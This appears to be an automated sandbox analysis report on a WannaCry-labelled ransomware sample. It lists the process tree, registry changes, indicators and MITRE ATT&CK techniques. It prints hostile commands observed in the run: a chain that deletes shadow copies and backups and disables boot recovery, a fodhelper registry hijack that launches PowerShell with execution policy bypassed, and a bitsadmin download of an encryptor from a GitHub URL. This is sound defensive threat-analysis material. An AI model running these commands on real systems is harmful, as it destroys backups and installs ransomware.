wannacry | 7880389d89e8e28cbf6ac18bfb40dc8661dec9d9723e97b14bea6f8dff91804b

pid	Process
2948	bcdedit.exe
1008	bcdedit.exe

Renames multiple (624) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3472	wbadmin.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4276	bitsadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
30	2468	Process not Found

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	X6B56HB5A2B59.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	B9a5B8F433A6b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	B9A244AB4B18SD4BA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	3EDA.tmp

Executes dropped EXE 5 IoCs

pid	Process
400	X6B56HB5A2B59.exe
3868	B9a5B8F433A6b.exe
1636	@[email protected]
1588	B9A244AB4B18SD4BA.exe
5020	3EDA.tmp

Loads dropped DLL 18 IoCs

pid	Process
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe
2092	LoaderFuscate.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\$Recycle.Bin\S-1-5-21-2878641211-696417878-3864914810-1000\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-2878641211-696417878-3864914810-1000\desktop.ini	svchost.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
13	raw.githubusercontent.com
14	raw.githubusercontent.com
30	raw.githubusercontent.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\spool\PRINTERS\00002.SPL	splwow64.exe
File created	C:\Windows\system32\spool\PRINTERS\PPzejh0arb2d5wio0qlqem7yvz.TMP	printfilterpipelinesvc.exe
File created	C:\Windows\system32\spool\PRINTERS\PPd1fs0f_m_ximmea4iby2u3shd.TMP	printfilterpipelinesvc.exe
File created	C:\Windows\system32\spool\PRINTERS\PP595o6ofqo0lhqp_q74n8u3z8b.TMP	printfilterpipelinesvc.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\RlWCfyLxZ.bmp"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\RlWCfyLxZ.bmp"	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
5020	3EDA.tmp

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3592	PowerShell.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x0007000000023c50-117.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3EDA.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ONENOTE.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	ONENOTE.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ONENOTE.EXE

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
4892	vssadmin.exe

Modifies registry class 13 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command\ = "cmd /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet"	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\X9F2L7D4ZP8Q1RMK.ps1\""	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	B9A244AB4B18SD4BA.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
868	reg.exe
392	reg.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1848	ONENOTE.EXE
1848	ONENOTE.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3592	PowerShell.exe
3592	PowerShell.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe
4936	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3592	PowerShell.exe
Token: SeBackupPrivilege	1816	vssvc.exe
Token: SeRestorePrivilege	1816	vssvc.exe
Token: SeAuditPrivilege	1816	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3812	WMIC.exe
Token: SeSecurityPrivilege	3812	WMIC.exe
Token: SeTakeOwnershipPrivilege	3812	WMIC.exe
Token: SeLoadDriverPrivilege	3812	WMIC.exe
Token: SeSystemProfilePrivilege	3812	WMIC.exe
Token: SeSystemtimePrivilege	3812	WMIC.exe
Token: SeProfSingleProcessPrivilege	3812	WMIC.exe
Token: SeIncBasePriorityPrivilege	3812	WMIC.exe
Token: SeCreatePagefilePrivilege	3812	WMIC.exe
Token: SeBackupPrivilege	3812	WMIC.exe
Token: SeRestorePrivilege	3812	WMIC.exe
Token: SeShutdownPrivilege	3812	WMIC.exe
Token: SeDebugPrivilege	3812	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3812	WMIC.exe
Token: SeRemoteShutdownPrivilege	3812	WMIC.exe
Token: SeUndockPrivilege	3812	WMIC.exe
Token: SeManageVolumePrivilege	3812	WMIC.exe
Token: 33	3812	WMIC.exe
Token: 34	3812	WMIC.exe
Token: 35	3812	WMIC.exe
Token: 36	3812	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3812	WMIC.exe
Token: SeSecurityPrivilege	3812	WMIC.exe
Token: SeTakeOwnershipPrivilege	3812	WMIC.exe
Token: SeLoadDriverPrivilege	3812	WMIC.exe
Token: SeSystemProfilePrivilege	3812	WMIC.exe
Token: SeSystemtimePrivilege	3812	WMIC.exe
Token: SeProfSingleProcessPrivilege	3812	WMIC.exe
Token: SeIncBasePriorityPrivilege	3812	WMIC.exe
Token: SeCreatePagefilePrivilege	3812	WMIC.exe
Token: SeBackupPrivilege	3812	WMIC.exe
Token: SeRestorePrivilege	3812	WMIC.exe
Token: SeShutdownPrivilege	3812	WMIC.exe
Token: SeDebugPrivilege	3812	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3812	WMIC.exe
Token: SeRemoteShutdownPrivilege	3812	WMIC.exe
Token: SeUndockPrivilege	3812	WMIC.exe
Token: SeManageVolumePrivilege	3812	WMIC.exe
Token: 33	3812	WMIC.exe
Token: 34	3812	WMIC.exe
Token: 35	3812	WMIC.exe
Token: 36	3812	WMIC.exe
Token: SeBackupPrivilege	3900	wbengine.exe
Token: SeRestorePrivilege	3900	wbengine.exe
Token: SeSecurityPrivilege	3900	wbengine.exe
Token: SeAssignPrimaryTokenPrivilege	4936	svchost.exe
Token: SeBackupPrivilege	4936	svchost.exe
Token: SeDebugPrivilege	4936	svchost.exe
Token: 36	4936	svchost.exe
Token: SeImpersonatePrivilege	4936	svchost.exe
Token: SeIncBasePriorityPrivilege	4936	svchost.exe
Token: SeIncreaseQuotaPrivilege	4936	svchost.exe
Token: 33	4936	svchost.exe
Token: SeManageVolumePrivilege	4936	svchost.exe
Token: SeProfSingleProcessPrivilege	4936	svchost.exe
Token: SeRestorePrivilege	4936	svchost.exe
Token: SeSecurityPrivilege	4936	svchost.exe
Token: SeSystemProfilePrivilege	4936	svchost.exe
Token: SeTakeOwnershipPrivilege	4936	svchost.exe
Token: SeShutdownPrivilege	4936	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1636	@[email protected]

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
1636	@[email protected]
1636	@[email protected]
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE
1848	ONENOTE.EXE

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2092	2328	LoaderFuscate.exe	84
PID 2328 wrote to memory of 2092	2328	LoaderFuscate.exe	84
PID 2092 wrote to memory of 1620	2092	LoaderFuscate.exe	86
PID 2092 wrote to memory of 1620	2092	LoaderFuscate.exe	86
PID 1620 wrote to memory of 400	1620	cmd.exe	88
PID 1620 wrote to memory of 400	1620	cmd.exe	88
PID 400 wrote to memory of 3868	400	X6B56HB5A2B59.exe	89
PID 400 wrote to memory of 3868	400	X6B56HB5A2B59.exe	89
PID 400 wrote to memory of 1636	400	X6B56HB5A2B59.exe	92
PID 400 wrote to memory of 1636	400	X6B56HB5A2B59.exe	92
PID 400 wrote to memory of 1636	400	X6B56HB5A2B59.exe	92
PID 3868 wrote to memory of 1588	3868	B9a5B8F433A6b.exe	93
PID 3868 wrote to memory of 1588	3868	B9a5B8F433A6b.exe	93
PID 1588 wrote to memory of 1640	1588	B9A244AB4B18SD4BA.exe	94
PID 1588 wrote to memory of 1640	1588	B9A244AB4B18SD4BA.exe	94
PID 1640 wrote to memory of 4152	1640	WScript.exe	95
PID 1640 wrote to memory of 4152	1640	WScript.exe	95
PID 4152 wrote to memory of 3592	4152	fodhelper.exe	96
PID 4152 wrote to memory of 3592	4152	fodhelper.exe	96
PID 1640 wrote to memory of 868	1640	WScript.exe	98
PID 1640 wrote to memory of 868	1640	WScript.exe	98
PID 1640 wrote to memory of 3188	1640	WScript.exe	100
PID 1640 wrote to memory of 3188	1640	WScript.exe	100
PID 1640 wrote to memory of 4276	1640	WScript.exe	101
PID 1640 wrote to memory of 4276	1640	WScript.exe	101
PID 3188 wrote to memory of 2924	3188	WScript.exe	104
PID 3188 wrote to memory of 2924	3188	WScript.exe	104
PID 2924 wrote to memory of 4052	2924	fodhelper.exe	106
PID 2924 wrote to memory of 4052	2924	fodhelper.exe	106
PID 4052 wrote to memory of 4892	4052	cmd.exe	108
PID 4052 wrote to memory of 4892	4052	cmd.exe	108
PID 4052 wrote to memory of 3812	4052	cmd.exe	112
PID 4052 wrote to memory of 3812	4052	cmd.exe	112
PID 4052 wrote to memory of 2948	4052	cmd.exe	116
PID 4052 wrote to memory of 2948	4052	cmd.exe	116
PID 4052 wrote to memory of 1008	4052	cmd.exe	117
PID 4052 wrote to memory of 1008	4052	cmd.exe	117
PID 4052 wrote to memory of 3472	4052	cmd.exe	118
PID 4052 wrote to memory of 3472	4052	cmd.exe	118
PID 3188 wrote to memory of 392	3188	WScript.exe	124
PID 3188 wrote to memory of 392	3188	WScript.exe	124
PID 1640 wrote to memory of 4936	1640	WScript.exe	140
PID 1640 wrote to memory of 4936	1640	WScript.exe	140
PID 1640 wrote to memory of 4936	1640	WScript.exe	140
PID 4936 wrote to memory of 3472	4936	svchost.exe	144
PID 4936 wrote to memory of 3472	4936	svchost.exe	144
PID 2976 wrote to memory of 1848	2976	printfilterpipelinesvc.exe	148
PID 2976 wrote to memory of 1848	2976	printfilterpipelinesvc.exe	148
PID 4936 wrote to memory of 5020	4936	svchost.exe	149
PID 4936 wrote to memory of 5020	4936	svchost.exe	149
PID 4936 wrote to memory of 5020	4936	svchost.exe	149
PID 4936 wrote to memory of 5020	4936	svchost.exe	149
PID 5020 wrote to memory of 2540	5020	3EDA.tmp	151
PID 5020 wrote to memory of 2540	5020	3EDA.tmp	151
PID 5020 wrote to memory of 2540	5020	3EDA.tmp	151

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
"C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
  "C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "X6B56HB5A2B59.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Users\Admin\AppData\Local\Temp\X6B56HB5A2B59.exe
      X6B56HB5A2B59.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:400
    - - C:\Users\Admin\AppData\Local\Temp\B9a5B8F433A6b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B9a5B8F433A6b.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3868
      - C:\Users\Admin\AppData\Local\Temp\B9A244AB4B18SD4BA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B9A244AB4B18SD4BA.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:1588
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AFABF89794B879FLB98.vbs"
        7⤵
        Checks computer location settings
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:1640
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4152
        
        C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        
        "PowerShell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\X9F2L7D4ZP8Q1RMK.ps1"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3592
        
        C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        8⤵
        Modifies registry class
        Modifies registry key
        
        PID:868
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B9BBB9A5B8F4ABS.vbs"
        8⤵
        Checks computer location settings
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:3188
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2924
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:4052
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        11⤵
        Interacts with shadow copies
        
        PID:4892
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3812
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        11⤵
        Modifies boot configuration data using bcdedit
        
        PID:2948
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        11⤵
        Modifies boot configuration data using bcdedit
        
        PID:1008
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        11⤵
        Deletes backup catalog
        
        PID:3472
        
        C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        9⤵
        Modifies registry class
        Modifies registry key
        
        PID:392
        
        C:\Windows\System32\bitsadmin.exe
        
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/BalletsPistol/d9fb74g8db7d8b7db48df7g8db77f4drb7er8db7fd84d7b1gdb47d8b7brt18bcy87gdfb8hfg74h87fh8bf18h7/raw/refs/heads/main/Encryptor.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
        8⤵
        Download via BitsAdmin
        
        PID:4276
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        8⤵
        Drops desktop.ini file(s)
        Sets desktop wallpaper using registry
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4936
        
        C:\Windows\splwow64.exe
        
        C:\Windows\splwow64.exe 12288
        9⤵
        Drops file in System32 directory
        
        PID:3472
        
        C:\ProgramData\3EDA.tmp
        
        "C:\ProgramData\3EDA.tmp"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5020
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\3EDA.tmp >> NUL
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:2540
    - - C:\Users\Admin\AppData\Local\Temp\@[email protected]
        
        "C:\Users\Admin\AppData\Local\Temp\@[email protected]"
        5⤵
        Executes dropped EXE
        Sets desktop wallpaper using registry
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:1636

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3900

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2408

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1012

C:\Windows\system32\printfilterpipelinesvc.exe
C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
  /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{776AB510-FDDC-4453-968A-DDF423C4D8FD}.xps" 133823658422260000
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:1848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery